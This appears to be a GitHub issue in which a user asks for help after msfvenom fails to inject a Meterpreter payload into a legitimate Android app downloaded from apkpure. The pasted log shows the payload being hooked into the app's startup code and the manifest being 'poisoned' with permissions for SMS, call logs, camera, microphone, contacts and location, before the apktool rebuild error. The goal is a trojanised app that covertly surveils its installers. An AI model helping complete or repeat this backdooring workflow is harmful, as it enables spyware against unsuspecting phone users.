Unable to rebuild apk with apktool
See original GitHub issueIt is outputting this when i try to inject the payload into an APK with msfvenom
Using APK template: ActionDashDigitalWellbeingScreenTimehelper_v7.7.2_apkpure.com.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore…
[] Decompiling original APK…
[] Decompiling payload APK…
[] Locating hook point…
[] Adding payload as package com.actiondash.playstore.cxcnm
[] Loading /tmp/d20210303-6075-190p4ew/original/smali/actiondash/MainApplication.smali and injecting payload…
[] Poisoning the manifest with meterpreter permissions…
[] Adding <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
[] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
[] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[] Adding <uses-permission android:name="android.permission.CAMERA"/>
[] Adding <uses-permission android:name="android.permission.CALL_PHONE"/>
[] Adding <uses-permission android:name="android.permission.READ_CONTACTS"/>
[] Adding <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
[] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[] Adding <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
[] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[] Adding <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
[] Adding <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
[] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20210303-6075-190p4ew/output.apk
[-] I: Using Apktool 2.5.0
I: Checking whether sources has changed…
I: Smaling smali folder into classes.dex…
I: Checking whether sources has changed…
I: Smaling smali_classes2 folder into classes2.dex…
I: Checking whether resources has changed…
I: Building resources…
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [/tmp/brut_util_Jar_97267601480371094521473822606529167372.tmp, p, --forced-package-id, 127, --min-sdk-version, 21, --target-sdk-version, 30, --version-code, 7070467, --version-name, 7.7.2, --no-version-vectors, -F, /tmp/APKTOOL18047277316233514628.tmp, -e, /tmp/APKTOOL12509264393081056188.tmp, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/d20210303-6075-190p4ew/original/res, -M, /tmp/d20210303-6075-190p4ew/original/AndroidManifest.xml]
W: invalid resource directory name: /tmp/d20210303-6075-190p4ew/original/res navigation
Error: Unable to rebuild apk with apktool
Please help`
Issue Analytics
- State:
- Created 3 years ago
- Comments:5 (3 by maintainers)
Top GitHub Comments
It will in time.
Alright!